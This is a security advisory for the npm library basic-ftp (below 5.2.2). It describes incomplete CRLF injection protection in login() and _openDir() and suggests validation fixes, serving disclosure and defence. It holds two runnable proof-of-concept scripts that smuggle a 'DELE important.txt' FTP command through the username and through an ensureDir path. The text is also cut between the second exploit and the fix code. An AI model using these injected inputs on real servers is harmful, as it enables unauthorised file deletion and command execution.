GHSA-6v7q-wjvx-w8wg basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands

• npm basic-ftp: < 5.2.2 → fixed in 5.2.2

Summary basic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the `protectWhitespace()` control character check: (1) the `login()` method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the `_openDir()` method sends an MKD command before `cd()` invokes `protectWhitespace()`, creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection. Details Vector 1: Credential Injection (login) The `login()` method constructs FTP commands by direct string concatenation with no CRLF validation: ```typescript // src/Client.ts:216-231 login(user = "anonymous", password = "guest"): Promise { this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`) return this.ftp.handle("USER " + user, (res, task) => { // Line 218: no validation on `user` // ... else if (res.code === 331) { this.ftp.send("PASS " + password) // Line 226: no validation on `password` } }) } ``` `FtpContext.send()` writes directly to the TCP socket: ```typescript // src/FtpContext.ts:223-227 send(command: string) { // ... this._socket.write(command + "\r\n", this.encoding) } ``` The `protectWhitespace()` method (line 762) rejects `\r`, `\n`, and `\0` characters — but it is only called for path-based operations. Credentials never pass through it. The public `access()` method (line 268) passes `options.user` and `options.password` directly to `login()` with no sanitization. Vector 2: MKD TOCTOU Bypass (_openDir) The `_openDir()` method sends an MKD command before the CRLF check in `cd()`: ```typescript // src/Client.ts:745-748 protected async _openDir(dirName: string) { await this.sendIgnoringError("MKD " + dirName) // Line 746: sent BEFORE validation await this.cd(dirName) // Line 747: protectWhitespace() called here — too late } ``` This is called from `ensureDir()` (line 729) which splits a user-supplied remote path by `/` and passes each fragment to `_openDir()`, and from `_uploadToWorkingDir()` (line 679) which passes local directory names read from the filesystem. PoC Vector 1: Credential Injection ```javascript const ftp = require("basic-ftp"); async function exploit() { const client = new ftp.Client(); client.ftp.verbose = true; // Connect to target FTP server await client.access({ host: "target-ftp-server", port: 21, // Username contains CRLF + injected DELE command user: "anonymous\r\nDELE important.txt", password: "guest" }); // Server receives on the wire: // USER anonymous\r\n // DELE important.txt\r\n // PASS guest\r\n // The DELE command executes before PASS is processed client.close(); } exploit(); ``` Vector 2: MKD TOCTOU Bypass ```javascript const ftp = require("basic-ftp"); async function exploit() { const client = new ftp.Client(); client.ftp.verbose = true; await client.access({ host: "target-ftp-server", user: "anonymous", password: "guest" }); // Path fragment with CRLF — MKD is sent before cd() validates try { await client.ensureDir("test\r\nDELE important.txt/subdir"); } catch (e) { // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent } // Server received: // MKD test\r\n // DELE important.txt\r\n // CWD test\r\n { if (/[\r\n\0]/.test(user) || /[\r\n\0]/.test(password)) { return Promise.reject(new Error("Invalid credentials: Contains control characters")); } this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`) return this.ftp.handle("USER " + user, (res, task) => { // ... rest unchanged }) } ``` 2. Validate dirName in `_openDir()` before sending MKD: ```typescript // src/Client.ts:745 protected async _openDir(dirName: string) { if (/[\r\n\0]/.test(dirName)) { throw new Error("Invalid path: Contains control characters"); } await this.sendIgnoringError("MKD " + dirName) await this.cd(dirName) } ``` Alternatively, centralize CRLF validation in `FtpContext.send()` so that all FTP commands are protected regardless of the calling code path.